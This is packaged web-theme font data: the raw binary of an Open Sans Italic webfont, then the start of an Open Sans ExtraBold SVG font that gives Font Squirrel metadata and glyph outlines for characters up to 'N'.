ֱ��+� �&+�
�9��
#$9� �9�#�9��
 $9��9017532654&'.54632'&#"#"F�E~�Ft�lʥ��68ew]jGok].�ɩ1�*.dN9NDI�`��J�+WE8P?<Vc>��Z���Dy�+�
�+��2�
+�@	+�/�ֱ�+�6�>��+
�.�����	��	..�	....�@��9��99��901?3!!327#"&547Z�}b7��:47Y"d}��IN���W-8<�wvBTZq��^Hi�+�+�	
�+�3�/�ֱ�+���+���+��+��	99��99�	�99901747332>73#7##"&q����X��"d��b�_���>n��IY2�x����}b�bHQ�+�+�33�/�ֱ�
+�6��Y�[+
�������.�..�@��9013373#b�@4E����H����h`\��uHl�+�3��2�+�	33� /�ֱ�� ���/���+��!+��9��	99��
99��990133673363#&=##u�/Z'�%n��� 	2S���H��X�z|�u���^5*V	X��Z^N�v�����H&�+�3�+�3�/�
+��
9901#33#J�类J�9�����5�d������N�;�H_�+�
�+�33�/�ֱ�+�6����d+
�����	��	..�	..�@��9��9901326?33>73#"'�?DRu7L��J
#hE��H]��HD��ec�Z��E��RW�+a������}H	,�+��+���
/�+��9��901#7!7!!��!��XuV}���}��/�'��+�

�/��/���(/�&ְ%2��&
+�@	+�&+�!�!/��)+�6�>���+
�#�����
��#�#+��
+�
+�#�$#+�%#+�$# � �#9�9�
9�9@	
#$%.........�
#$........�@�&�99��!99��99017267>;"3#"&547>'4 v�D"��!i\G~h�/IS��!%�WhF���IW��{z)�;H�:(51�iw4Y������/�ֱ��+013����������'��+�
�'/��/���(/�
ֱ�
+��)+�6�>u�	+
��
��#
�����
+�
+�#�#+�"#+�
 � �#9�9�"#9�9�
"#........�
"#........�@��99��99��
9901267>75&54?654&#7323"+JshH~k�2Qc��1�!w�C$��
�HWBu}*�;H�A"51�iv0]�D+��Vh���}sP3T��/�33�	
�2�	+�3�
�22�/�+�6��y½+
�.�.����������I+��+�+��+�+� � �#9�9�9�9�....�........�@��
9�	�90156323267#"&'.#"sb�EtV@a27�3d�H~HKZ06�P�m%B7�n!  E���^*�
/�+�/�ִ
+�+�
�990134632#"&m�9QF,5QA06��!��+L\46G]3��)���+�3�+�3�
+�
�
+�
�2�/�ֱ��+��
+�@	+��+�� +�6�>��+
��+��+�+�>��F+��+� � �#9�.�....�@��9��9��9��
999��	90146?3&#"3267#7.��#{%wb/mnp�i�vH�>{�)}+��N�>���	(�4���}�(�>��"�������+��2�
+�
�

+�33��22�/�+�6�>��]+
���������+�+��+�+�....�........�@��
9�
�901#76?#73!2&#"!!!�5/��LKc��B���2Er��/XP�!�.��^aV�O��b�+��!�'t�+�%�/�	��(/�ֱ��"+��)+��$9�"�$9��	
$9��$9�%�	
$9��$90176327'#"''7&54732654&#"�\grre�\�FFZ�buwbZDD=�gh��hf�+\�FF�Z�hqwbZDFZ`wub�g��gh������+�3�
+�3�

+�33�	�22�

+�3�	�22�/�ֱ�+��/��+�6�>��+
��������+��+�+��+�......�@��9�
�	9017!7!73333!!!#"!���ʣ������!)��9�8
����������
���/�ְ2��2��	+013#3��������;���,8��++�	�/�	��9/�
ֱ-�-
+��-�3+�#�(#3+��/�(�:+�
�9�-�
+999��0699�3�&$9�(� 9�+�9��(06$9��9017532654&'.547&54632&#"#">54&';8�L��ef�p�wϰ��5�vfyL|db4zor�̰�e�P_c�Rj5�",YU0R.=�a�jF��D{<QE1E8,Od@a�8Gv��F^@,~D<[:{���
5�/�3�3+�2�3+�/�ֱ��+��+014632#"&%4632#"&�8.N;'#/l8/M;'#/b.CP1D,(.CP1D,���j�6��+��+��4.
+�4�#(
+�#��7/�ִ+�� +�+�+�+�+�8+�+�#%04$9�.4�19�(� &0$9�#�%9014$32#"$732$54$#"4632&#"327#"&��^��Z�������i�-��*���װ��ܾ֯�v<jT}���R�B^9����^��������Zƭ�ӭ�)��*���׮�<x5����+z���d�+�3��/���/�ִ+��+�
+� +��$9�
�
999��
99��
$9014>32373#7##"&732>54&#"�S�_r'%V�\(dIMcqb=gE99\}��{gZ�gu8Jxz�b�O>E�Xq��
55X�N�׬q�oV��q+vQ���}1��E����10�/��
+�@	+�/�ֱ�
+�@	+�+015!#�������7�9s!�/�
�
��/�ִ+�+017!7#�"՞����j�-5��+��+��,.
+�,�,.
+�@, 	+�)2�"5
+�"��6/�ִ+�� +�-�.2�-�1+�%�%�+�+�7+�1-�+($9�%�*9��)9�.,�($9�5�%9014$32#"$732$54$#"32##3254&+��^��Z�������i�-��*���װ��֯�壝_U��q\�_fZ��^��������Zƭ�ӭ�)��*�����p~�N~#�`��וL>���/�	�	��/�+017!�!#���^F�H�+��
/���/�ִ
+�
�+�j+�+�
�
99��99014632#"&732654&#"׵�S�T����qtRSrsRPv���S�T����PtuORuu�a�+�
�/�3�
�	2�
+�@	+�
+�@	+�/�ְ2�
�2�

+�@
	+�
2�
+�@	+�2�+0135!5!3!!#��h����z�������x��}�`J��E�+�	�/���/�ֱ�+��99��9�	�999��9017%>54&#"'632!`sW(>;Zi;}�m}i���Jj�dcW/5@PZeq^c�}�tw9��"c�+��!/��/�	��#/�ֱ�� ��
�
/��$+�!�9��99�	�99��99��90153254+732654&#"'632#"w}rͲZ_atE;f^7m�r��EN��}qH��kRG<=D]Xp_�6fE����!	(�/�
+�
/�ִ
+�+��9015>738�%�&�K�<�:1�6��jH��+�+�
�+�33�/�3�/�ֱ��+���+���+�
�+�6�>��<+
�>��+��+�+�+� � �#9�9�9�...�...�@��9��99��99��99��9901332>73#7##"'#+P���Y��"i��]�bp3	H�4�I\+�v����yh`N������L�/�
�
+�@
	+�@
	+�2�/�
ִ	j+�	�+�/�	�+�+�+0163!####"&���-r�s>T�����}��3����K�Zh�V��3�+�+���/�ֱ�+��	
99��9013254&'73#"'�&�N<ej=���)-��n.+�y&ubv	J��
n�+�3�/�ֱ�+�6�>��+
�.�������>l��+��+� � �#9�....�...�@01%3#67v��p!2x���gz+O���H�+��
/���/�ִ
+�
�+�+�+�
�
99��99014>32#"&732654#"�T�cu~��q�qLE^u�fuu�n�~��UU����sh�
77%7�q��$)�q�w�hb2�n�oFC�2�A����{R�'�b&{��f����B��&{�'�)t�����W��&u�'���������q�X%k�+�#+�/���&/�ֱ
�
�+�2� +��'+�
�
$9��#9� �999��9�#�99901467>733267#"&4632#"&���Q�ds_�g`P�B>Z�W��PC/6QG+5N|�wbmd��]K�]f3�04��G_33M[4����s&$C��R����Ms&$v�R����8s&$�BR�����/&$�`R����+%&$jBR����&$��������+�3�	�+��22�
+�3�
�
2�
+���/�+�6�>��+
�.�.��	�����	�	+�	+��
+�+�	
........�@01#!!!!!!!	!#w��!��d��s6!�b�J���s�T���+����/m�����
�&&z#��Vjs&(C��R��Vjs&(v}R��Vjs&(�FR��Vj%&(jBR��VQs&,C��R��VBs&,v��R��V(s&,�2R��V)%&,j�@RH�
��+�3��+��
+�33��
22�/�ֱ�+�6�>��+
�.�.��������+�
+��+�+�
........�@��990173! )32$54&+!!H ��V�z�����B��2��DzoJ!���������p���
�N�������T�/&1�R������s&2ChR������s&2v!R������s&2��R������/&2��R������%&2j�R�1�w7			'�b@Cc��Ba����`=c��@`����`@��`@w��� )n�+�#�+���*/�ֱ��'+��++��99�'�
!$9��
99�#�99��
)$9��
9901?&5$327#"'&#"32654'w�j�O�c�H�r�02����Ȅ�e)�Z�����[���!�����69�\�>�k��W�`�}�\�X����J�l�vW�����s&8CXR�����s&8v#R�����s&8��R�����%&8j�R����s&<vTRVR���+�3�+�3�

+��
+���/�ֱ��+���+��+�6�>���+
��+�+�
+�+�
....�@�
�9013332!#32654&+V5�5�������Fb��⌑����������Ѷ�~n��X?��+�!
�=+��6/�	
��@/�+ֱ��$+��� ��3�3/��A+�6�>��+
����:��9��9:....�9:....�@�+�!(999�$�	/06$9�3�9�=�?9��9�!�9�6�999013267>32#"'532654.'.54>7>54&#"#"'�=2AT+�¢�*Q�n_/l3ٸ�]3�>q�.BXE%>]P>"iYw���(��E6��_n"�Ǝ}9c[iSD8B"kqC��G�)3te(>87En<5VGE8?C%@I}��齮��b��`!&DC���b��`!&DvD��b��`!&D���b��`�&D���b��`�&Dj���b��`�&D��b��X\*8B��#+�(+�3�.
�2�	+�+�
3�5
�@2�9(
+�9
��C/�ֱ+�+�#+�"+�"�=+��D+�#+�(5999�"�$%2999�=�
9$9��99�.#�9��!$%+$9�59�2$9014632373632!#3267#"&'#7##"&732654&#"%32654&#"b��R~'Cm{�w�����'}�7{u��l�(rm�_z��JD_�w[Mc�d��F?u�\�f�a_����t��P��!3�KOP�фaƪrs�*�gz���juo=B���b��\&Fz}��b���!&HC���b���!&Hv5��b���!&H����b����&Hj���;�!&�C�e��;�!&�v�0��;�!&�����;��&�j��Z��q% .M�+�$
�+/�
�
/�//�ֱ!�!�+��0+�!�($9�+$�$9014632754&''7&'7%#"&732>54&#"Z��i�#IJ��8�BP_vF@�WO�����ͬsnk�f�qm�Wu��[O��]�l�:7uTF�i�s����|�н~�p�rv�s��;P�&Q�!��b��!&RC���b��!&Rv9��b��!&R����b��5�&R���b���&Rj���.�/��/��/���/�ְ2�	�2�+015!432#"&432#"&���o5;<44;o5;<44;�����y=<:?>�y=<:?>=��P�'p�+�!
�+�
��(/�ֱ��%+��)+��999�%�$9��	
999�!�99��'$9��	9901?&546327#"'&#"32654'=mD��jhiw>��dbb6bl�d^9eg�_
�g��N�D�O�a�����A}�\-�/����o-��T#��q��^!&XC���q��^!&Xvh��q��^!&X�
��q��^�&Xj���;�!&\v���9$��+�
�	+�!
�/�3�%/�ֱ��+���+��&+�6�>���+
�������>��+�+�+�+� � �#9�9�9�.....�...�@��99��$9��	!99�!�$90133>32#"&'#32654#"+��_(	e�_����b�'
f�oic�h�`�u��G�D}hð���fXhH�Fnu�+����;��&\j�;�H?�+�3�+�3�/�ֱ��+��+�6�>��+
�@0133;��H�����)�!��+��+��+�	�+��


+�
��"/�ֱ�#+�6�>��+
�.������	���
	+�
	+�..�	

......�@�
�9901$32!!!!!!# 327&#"��OҘU���d��s5 �^NP���ĨE6�Ls���%����+���+�����b���\!.8��+�3�
�%2�+�	3�+
�62�/
+�/
��9/�ֱ"�"�(+���3+��:+�("�99��99�3�	/$9��99��9��"$9�+/�(3$901463 >32!#3267# '#"&7324&#"%32654&#"b���YK�w������){�K�P����VE�{�ج|n��wsm�`��@A}���N��mz�y��P��1#�K�kr�ƍ�A|����5zt0E�����%&<j��R���!+�/�	3�
+�/�ִ	+�+��9015>73#&'��w�%[*g9h�l���'c�B0�wF'���F�	/��/���/�ִ+��+�+�+��	99��99014632#"&732654&#"'|_evxcevh;83@@31B�^ur_ctsb6==65>>P�/�E�/��
2�+�
�2�/�ִ+��
+�+�+�
�
99013232673#".#"P:�,OG>,3dB�(KGC ,3�$+$6?��#+#9:7�9s!�/�
�
��/�ִ+�+017!7#�"՞�7�9s!�/�
�
��/�ִ+�+017!7#�"՞�7�9s!�/�
�
��/�ִ+�+017!7#�"՞�7��u�/�
�
��/�+017!7#7"ՠ�7�hu�/�
�
��/�+017!7#"ՠ�{��"�+�	+�/�ִ+�+0163#{b��8������}��"�+�	+�/�ִ+�	+0173}�E�(�X�*�[������+� �/�	+�/�ִ+�+0173d~N�q������{�{�
�+�	3�	+�2�/�+0163#%63#{b��8�kP��)�������*��z}���+�3�	+�2�/�+01733673}�E�(�X�9u�
^��*�[��~%R��������
�/�3�	+�	2�/�+0173373d~N�q��?�	_������<�������.�	/�	+�	+�/�ִ	+�	+�
+014632#"&Ǔ}\^��Y]���b\��c��+��5�''Xq-��/�ִ	+�+015X�N�׬q%|Q����1s���/�ִ	+�+��90177(�q�x�M}2�K�����!3�=�����J\J��
��+�3�/�
33��22�
+�@	+�	2�/�	ֱ�+�6�>��+
�	������+�+�	�
	+�	+�.�
......�@��901733##7'37\�y�++��EZeC��u��uBI$q?����&s�"+��
+��"

+�3�	�2�"

+�3�	�2�'/�%ְ2��2�(+�%�99�"� 9��9��9�
�
9017367#7332&#"!!!!!27#"=?���aE�Y�FPqv��K��G}��){������PT�+1�N�DžAc���7�;�y���o�+�	33��2�
+�@	+�222�/�ֱ�
+�@	+�
+�@	+��+���+��+��
$9015!##33#47###y�y�����y�`�Nhh��i����-�/�I0��'4E�RGG!!G��G�������&IL������&IO���-=AL|�>+�A3�;+�-3�
�22�= ��/3�
�02�+�&?@$3�7�)6222�7��	+�/�"3�
�2�
�E ��J�� �� 3�	�2�M/�>ֱA�A�?+�@�B ��G�N+�6�>���+
��
��8����>z�+
�5���*��%��>��+
��
+�	
+�8�8+�5�5+�*�&*%+�)*%+�5�65+�8�78+�
%*58........@	
%&)*5678................�@�A>�" '$9�?�9�@B�EJ99�J�B9��G9013267#?>32&#"!7>32&#"3##"'53267!#"'34632#"&�@0FX�
�.��(t +L=W]�-��)q$-L=Y\���+��G6=6DV��'��E8/��p@3XC,&6��t{:CBdȥ�a�llŦ�f|l��è�s|:�����H��`6IZ7L1��;=A[�>+�A3�;+�-3�
�22�= ��/3�
�02�+�&33�7�)6222�7��	+�/�"3�
�2� �� 3�	�2�B/�>ֱA�A�?+�@�C+�6�>���+
��
��8����>z�+
�5���*��%��>��+
�>�?��A�@���
+�	
+�8�8+�5�5+�*�&*%+�)*%+�5�65+�8�78+@

%*58?@..........@	
%&)*5678................�@�A>� "'$9�?�9013267#?>32&#"!7>32&#"3##"'53267!#"'	3�@0FX�
�.��(t +L=W]�-��)q$-L=Y\���+��G6=6DV��'��E8-K�����t{:CBdȥ�a�llŦ�f|l��è�s|:���������{�_<���m��m���s�������d����+�+?hHX�\B��HRH�`j�h�7+��hyh/hh/hhPh�h�h`hb+��hyhhyj��oq���V��TVV�Vj�mV/V#��uV�V�T�T���V���V'��h�b���'���?��J����J�j#5'�Do?�b�;�b�b�b�����;;���99�;�;}b����b+;m�Z�q�b�u����;����h��hs��h�h��h�hh�;o������Xh7���m�h�`�wo���=����V�����{�BWj��q��q��q��q��q��q�������VVVV/V/V/V/VTH�T����������h��wh�h�h�h���V���b�b�b�b�b�b�b�b�b�b�b�b;;;;�Z�;}b}b}b}b}bh}=�q�q�q�q��;�����;;���b�o��'oP�s�s{�==�}i777�7�7\{\}��{�}Z���+}DXD���\h?�yG������0000l�tp$���(L����
Z��f�H��`�	 	V	j	�	�

�B�^��
j
�N����D�r�~�(Z��H���f�~�rP�8�@�\���2��<��6d  2 �!Z!Z!�"."�#$#�#�$h$�%@%�%�%�&
&�&�''h'�((@(�))$)\)�)�****:*J*�*�*�*�*�*�++x+�+�+�+�+�+�+�+�+�,f,r,~,�,�,�,�,�-N-Z-f-r-~-�-�.�.�.�.�.�.�.�/�/�/�/�/�/�/�0000�0�0�0�0�0�0�11�1�1�1�1�1�2n2z2�303�3�44X4�4�4�4�4�4�4�4�4�4�4�4�4�4�4�55.5R5x5�5�5�6$6R6b6b6�6�6�6�77�7�8
88"9T:h�M9|f	r	r	�	�	 �	�	�	�n�Digitized data copyright � 2010-2011, Google Corporation.Open SansItalicwebfontOpen Sans ItalicVersion 1.10OpenSans-ItalicThis font was generated by the Font Squirrel Generator.���ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E��+�+D� E��+�+D�
 E�X+�+D�	 E�
=+�+D� E�	0+�+D� E�"+�+D� E�a+�+D� E�+�+D�
 E�+�+D� E�
+�+D� E�+D� E�+�Fv+D� E��+�Fv+D� E�O+�Fv+D� E�++�Fv+D� E�+�Fv+D� E��+�Fv+D� E��+�Fv+D� E�Z+�Fv+D� E�)+�Fv+DY�+PK!�r�*m�m�>bluetheme/assets/fonts/OpenSans/OpenSans-ExtraBold-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>
This is a custom SVG webfont generated by Font Squirrel.
Copyright   : Digitized data copyright  2011 Google Corporation
Foundry     : Ascender Corporation
Foundry URL : httpwwwascendercorpcom
</metadata>
<defs>
<font id="OpenSansExtrabold" horiz-adv-x="1200" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="532" />
<glyph unicode=" "  horiz-adv-x="532" />
<glyph unicode="&#x09;" horiz-adv-x="532" />
<glyph unicode="&#xa0;" horiz-adv-x="532" />
<glyph unicode="!" horiz-adv-x="594" d="M82 1462h432l-51 -946h-330zM86 166q0 91 54 141.5t157 50.5q102 0 154.5 -50.5t52.5 -141.5q0 -90 -54.5 -140.5t-152.5 -50.5q-99 0 -155 50.5t-56 140.5z" />
<glyph unicode="&#x22;" horiz-adv-x="1073" d="M121 1462h356l-41 -528h-274zM596 1462h356l-41 -528h-274z" />
<glyph unicode="#" horiz-adv-x="1356" d="M37 391v254h274l31 168h-238v260h287l72 389h268l-74 -389h166l72 389h268l-73 -389h229v-260h-277l-30 -168h243v-254h-290l-74 -391h-268l73 391h-168l-71 -391h-267l72 391h-225zM578 645h165l31 168h-166z" />
<glyph unicode="$" d="M80 1044q0 165 106 258t318 115v137h207v-135q199 -11 401 -98l-119 -285q-209 94 -377 94q-80 0 -112.5 -19.5t-32.5 -57.5q0 -33 23.5 -54.5t81.5 -48t161 -61.5q209 -74 300 -168.5t91 -243.5q0 -168 -106.5 -273t-310.5 -130v-193h-207v187q-219 10 -422 98v332 q116 -59 252 -98.5t239 -39.5q85 0 124.5 20.5t39.5 68.5q0 33 -28.5 56t-95 52t-179.5 70q-127 47 -205 105.5t-113.5 131t-35.5 180.5zM613 1462z" />
<glyph unicode="%" horiz-adv-x="1942" d="M37 1026q0 220 98 338.5t275 118.5q175 0 278 -123t103 -334q0 -220 -99 -340.5t-282 -120.5q-172 0 -272.5 124.5t-100.5 336.5zM338 1022q0 -115 19 -166t57 -51t56.5 50t18.5 167q0 115 -18.5 166t-56.5 51q-39 0 -57.5 -52t-18.5 -165zM412 0l811 1462h297 l-811 -1462h-297zM1149 444q0 220 98 338.5t275 118.5q175 0 278 -123t103 -334q0 -219 -99.5 -339.5t-281.5 -120.5q-172 0 -272.5 124.5t-100.5 335.5zM1450 440q0 -115 19 -166t57 -51q43 0 59.5 58.5t16.5 158.5t-16.5 158.5t-59.5 58.5q-39 0 -57.5 -52t-18.5 -165z " />
<glyph unicode="&#x26;" horiz-adv-x="1636" d="M72 406q0 262 272 401q-62 70 -96.5 148.5t-34.5 177.5q0 160 123.5 254t339.5 94q211 0 328.5 -93.5t117.5 -254.5q0 -111 -63.5 -205.5t-200.5 -177.5l199 -189q75 115 104 260h406q-30 -138 -94.5 -276.5t-145.5 -237.5l320 -307h-506l-99 102q-90 -57 -147.5 -78.5 t-129 -32.5t-163.5 -11q-158 0 -279.5 54t-186 151t-64.5 221zM475 434q0 -63 45 -103t119 -40q57 0 100 15t66 34l-248 252q-82 -61 -82 -158zM565 1120q0 -75 88 -155q57 32 87 76.5t30 91.5q0 49 -28.5 70.5t-71.5 21.5q-42 0 -73.5 -25t-31.5 -80z" />
<glyph unicode="'" horiz-adv-x="598" d="M121 1462h356l-41 -528h-274z" />
<glyph unicode="(" horiz-adv-x="735" d="M74 582q0 290 71 523t209 398h326q-126 -175 -194 -412t-68 -507q0 -261 66 -495.5t194 -412.5h-324q-137 158 -208.5 388t-71.5 518zM493 1485z" />
<glyph unicode=")" horiz-adv-x="735" d="M55 1503h326q139 -166 210 -402t71 -519t-71.5 -514.5t-209.5 -391.5h-324q126 172 193 408.5t67 499.5q0 265 -66 501.5t-196 417.5zM247 1485z" />
<glyph unicode="*" horiz-adv-x="1100" d="M45 1014l45 291l348 -101l-39 352h303l-38 -352l356 101l37 -295l-314 -21l207 -278l-260 -138l-143 283l-123 -281l-272 136l206 278z" />
<glyph unicode="+" horiz-adv-x="1159" d="M72 588v268h372v367h269v-367h372v-268h-372v-361h-269v361h-372z" />
<glyph unicode="," horiz-adv-x="633" d="M57 -285q29 138 58.5 309.5t40.5 274.5h342l14 -23q-97 -381 -176 -561h-279z" />
<glyph unicode="-" horiz-adv-x="651" d="M43 393v312h565v-312h-565z" />
<glyph unicode="." horiz-adv-x="592" d="M86 166q0 92 54.5 142t158.5 50q99 0 152 -50t53 -142q0 -90 -54.5 -140.5t-150.5 -50.5q-99 0 -156 50t-57 141z" />
<glyph unicode="/" horiz-adv-x="905" d="M10 -20l545 1503h346l-545 -1503h-346z" />
<glyph unicode="0" d="M72 729q0 390 130 572t398 182q261 0 394.5 -189.5t133.5 -564.5q0 -388 -130 -568.5t-398 -180.5q-262 0 -395 188.5t-133 560.5zM465 729q0 -248 31 -341t104 -93q74 0 104.5 96t30.5 338q0 243 -31 340.5t-104 97.5t-104 -94t-31 -344z" />
<glyph unicode="1" d="M84 1053l502 409h356v-1462h-401v774q0 141 6 258q-37 -45 -92 -94l-166 -137z" />
<glyph unicode="2" d="M45 1249q113 101 190 144.5t167.5 66.5t203.5 23q142 0 253.5 -50t173 -142.5t61.5 -207.5q0 -86 -21.5 -159t-66.5 -143.5t-119.5 -148.5t-317.5 -296v-10h553v-326h-1061v260l357 361q153 160 200 218.5t65.5 100.5t18.5 88q0 57 -37 90t-104 33q-69 0 -139.5 -39.5 t-159.5 -116.5z" />
<glyph unicode="3" d="M70 59v328q96 -49 195.5 -72.5t183.5 -23.5q130 0 189.5 36.5t59.5 114.5q0 60 -31 92.5t-100 49t-180 16.5h-90v297h92q301 0 301 154q0 58 -44.5 86t-119.5 28q-140 0 -290 -94l-164 264q116 80 237.5 114t278.5 34q227 0 356 -90t129 -248q0 -136 -83 -233.5 t-240 -141.5v-6q366 -46 366 -346q0 -204 -161.5 -321t-448.5 -117q-118 0 -218.5 17t-217.5 62z" />
<glyph unicode="4" d="M35 283v290l608 889h365v-884h161v-295h-161v-283h-390v283h-583zM377 578h241v170q0 48 3.5 129.5t5.5 85.5h-11q-34 -77 -77 -144z" />
<glyph unicode="5" d="M94 59v324q87 -40 196.5 -66t188.5 -26q110 0 169 46.5t59 137.5q0 84 -60 131t-182 47q-93 0 -201 -35l-145 72l55 772h834v-329h-498l-18 -193q78 15 111 16.5t61 1.5q126 0 227.5 -58.5t158 -165.5t56.5 -247q0 -245 -147.5 -376t-446.5 -131q-256 0 -418 79z" />
<glyph unicode="6" d="M70 618q0 306 87.5 495.5t258 279.5t420.5 90q89 0 208 -17v-309q-100 19 -217 19q-198 0 -295 -87t-106 -284h12q90 170 289 170q195 0 302.5 -125.5t107.5 -349.5q0 -241 -136 -380.5t-380 -139.5q-259 0 -405 168t-146 470zM463 512q0 -96 41 -157.5t108 -61.5 q63 0 102.5 47.5t39.5 151.5q0 178 -138 178q-68 0 -110.5 -46t-42.5 -112z" />
<glyph unicode="7" d="M78 1133v327h1055v-233l-515 -1227h-409l502 1133h-633z" />
<glyph unicode="8" d="M68 385q0 127 61 216.5t205 162.5q-116 78 -169.5 167.5t-53.5 196.5q0 168 131 261.5t362 93.5t359.5 -93t128.5 -264q0 -116 -60.5 -203.5t-191.5 -152.5q162 -92 228.5 -183.5t66.5 -197.5q0 -195 -141 -302t-394 -107q-258 0 -395 104.5t-137 300.5zM430 401 q0 -62 44 -99.5t122 -37.5q176 0 176 129q0 49 -38.5 96.5t-137.5 106.5q-89 -47 -127.5 -94.5t-38.5 -100.5zM481 1092q0 -86 117 -152q71 41 97 75t26 77q0 48 -35 77t-84 29q-51 0 -86 -29.5t-35 -76.5z" />
<glyph unicode="9" d="M53 958q0 243 138.5 381t379.5 138q268 0 415 -178t147 -506q0 -429 -185 -621t-592 -192q-134 0 -204 10v313q86 -16 172 -16q212 0 327 87.5t125 276.5h-12q-39 -72 -77 -104t-93 -49t-137 -17q-190 0 -297 127t-107 350zM436 963q0 -82 35 -130.5t107 -48.5 q65 0 113 47t48 113q0 89 -44.5 153t-112.5 64q-65 0 -105.5 -47t-40.5 -151z" />
<glyph unicode=":" horiz-adv-x="592" d="M86 166q0 92 54.5 142t158.5 50q99 0 152 -50t53 -142q0 -90 -54.5 -140.5t-150.5 -50.5q-99 0 -156 50t-57 141zM86 956q0 91 55 141t158 50q99 0 152 -50t53 -141q0 -90 -54 -141t-151 -51q-102 0 -157.5 51t-55.5 141z" />
<glyph unicode=";" horiz-adv-x="608" d="M57 -285q29 138 58.5 309.5t40.5 274.5h342l14 -23q-97 -381 -176 -561h-279zM92 956q0 91 53.5 141t157.5 50q100 0 153.5 -50.5t53.5 -140.5t-54 -141t-153 -51q-102 0 -156.5 50.5t-54.5 141.5z" />
<glyph unicode="&#x3c;" horiz-adv-x="1159" d="M72 627v172l1011 506v-297l-620 -283l620 -252v-295z" />
<glyph unicode="=" horiz-adv-x="1159" d="M72 358v271h1015v-271h-1015zM72 815v268h1015v-268h-1015z" />
<glyph unicode="&#x3e;" horiz-adv-x="1159" d="M72 178v295l620 252l-620 283v297l1011 -506v-172z" />
<glyph unicode="?" horiz-adv-x="1034" d="M0 1341q249 142 520 142q223 0 350 -98t127 -267q0 -121 -56.5 -209.5t-180.5 -167.5q-105 -68 -131.5 -99.5t-26.5 -74.5v-51h-307v86q0 98 40 165.5t142 131.5q81 51 116.5 92t35.5 94q0 42 -38 66.5t-99 24.5q-151 0 -353 -107zM252 166q0 92 53.5 142t157.5 50 q100 0 153.5 -50.5t53.5 -141.5t-55.5 -141t-151.5 -50q-99 0 -155 49.5t-56 141.5z" />
<glyph unicode="@" horiz-adv-x="1837" d="M82 610q0 253 114.5 453.5t316 309t456.5 108.5q234 0 413.5 -89t276 -253.5t96.5 -382.5q0 -141 -48.5 -263t-134.5 -191t-196 -69q-79 0 -143 31.5t-100 87.5h-15q-107 -119 -260 -119q-183 0 -281 107t-98 299q0 141 62 249.5t179 167t271 58.5q81 0 178.5 -16.5 t178.5 -44.5l-21 -422l-2 -94q0 -86 49 -86q52 0 84.5 87t32.5 220q0 239 -135 369t-383 130q-190 0 -330.5 -79t-214.5 -226.5t-74 -345.5q0 -255 142.5 -393.5t402.5 -138.5q116 0 250.5 25t263.5 71v-229q-224 -95 -500 -95q-388 0 -609.5 202.5t-221.5 561.5zM760 641 q0 -100 36.5 -145t96.5 -45q77 0 113 62t47 220l10 156q-40 6 -68 6q-108 0 -171.5 -67t-63.5 -187z" />
<glyph unicode="A" horiz-adv-x="1487" d="M0 0l477 1468h527l483 -1468h-432l-72 274h-475l-74 -274h-434zM590 598h311l-63 240q-22 80 -53.5 207t-41.5 182q-9 -51 -35.5 -168t-117.5 -461z" />
<glyph unicode="B" horiz-adv-x="1380" d="M158 0v1462h510q298 0 442.5 -88.5t144.5 -275.5q0 -123 -63 -210t-166 -112v-10q136 -36 197 -120t61 -218q0 -199 -149.5 -313.5t-407.5 -114.5h-569zM553 305h139q185 0 185 156q0 73 -49.5 112t-143.5 39h-131v-307zM553 901h119q85 0 131.5 35t46.5 104 q0 123 -186 123h-111v-262z" />
<glyph unicode="C" horiz-adv-x="1329" d="M104 727q0 227 85.5 399t246 264.5t377.5 92.5q237 0 453 -103l-121 -311q-81 38 -162 64t-174 26q-141 0 -220 -115.5t-79 -318.5q0 -422 321 -422q97 0 188 27t183 65v-334q-183 -81 -414 -81q-331 0 -507.5 192t-176.5 555z" />
<glyph unicode="D" horiz-adv-x="1503" d="M158 0v1462h506q352 0 543.5 -180t191.5 -520q0 -366 -201.5 -564t-566.5 -198h-473zM553 324h88q180 0 264 104.5t84 319.5q0 201 -79.5 298t-241.5 97h-115v-819z" />
<glyph unicode="E" horiz-adv-x="1124" d="M158 0v1462h868v-317h-473v-230h438v-317h-438v-276h473v-322h-868z" />
<glyph unicode="F" horiz-adv-x="1104" d="M158 0v1462h864v-317h-475v-279h438v-317h-438v-549h-389z" />
<glyph unicode="G" horiz-adv-x="1516" d="M104 735q0 354 202 551t566 197q138 0 260.5 -26t213.5 -66l-125 -310q-158 78 -347 78q-173 0 -267.5 -112.5t-94.5 -321.5q0 -205 85.5 -312.5t246.5 -107.5q88 0 162 17v229h-261v305h631v-788q-257 -88 -565 -88q-338 0 -522.5 196t-184.5 559z" />
<glyph unicode="H" horiz-adv-x="1569" d="M158 0v1462h397v-542h459v542h397v-1462h-397v596h-459v-596h-397z" />
<glyph unicode="I" horiz-adv-x="713" d="M158 0v1462h397v-1462h-397z" />
<glyph unicode="J" horiz-adv-x="721" d="M-162 -131q32 -6 68 -13.5t78 -7.5q98 0 140 59t42 202v1353h397v-1319q0 -297 -130 -449.5t-390 -152.5q-108 0 -205 21v307z" />
<glyph unicode="K" horiz-adv-x="1407" d="M158 0v1462h397v-635q30 59 121 187l307 448h432l-461 -655l453 -807h-446l-289 559l-117 -70v-489h-397z" />
<glyph unicode="L" horiz-adv-x="1192" d="M158 0v1462h395v-1143h563v-319h-958z" />
<glyph unicode="M" horiz-adv-x="1980" d="M158 0v1462h526l305 -1038h8l299 1038h527v-1462h-363v641q0 50 1.5 111t13.5 299h-9l-295 -1051h-376l-299 1053h-9q21 -269 21 -418v-635h-350z" />
<glyph unicode="N" horiz-adv-x="1708" d="M158 0v1462h516l532 -1016h6q-14 221 -14 355v661h352v-1462h-518l-534 1030h-9q19 -243 19 -371v-659h-350z" />
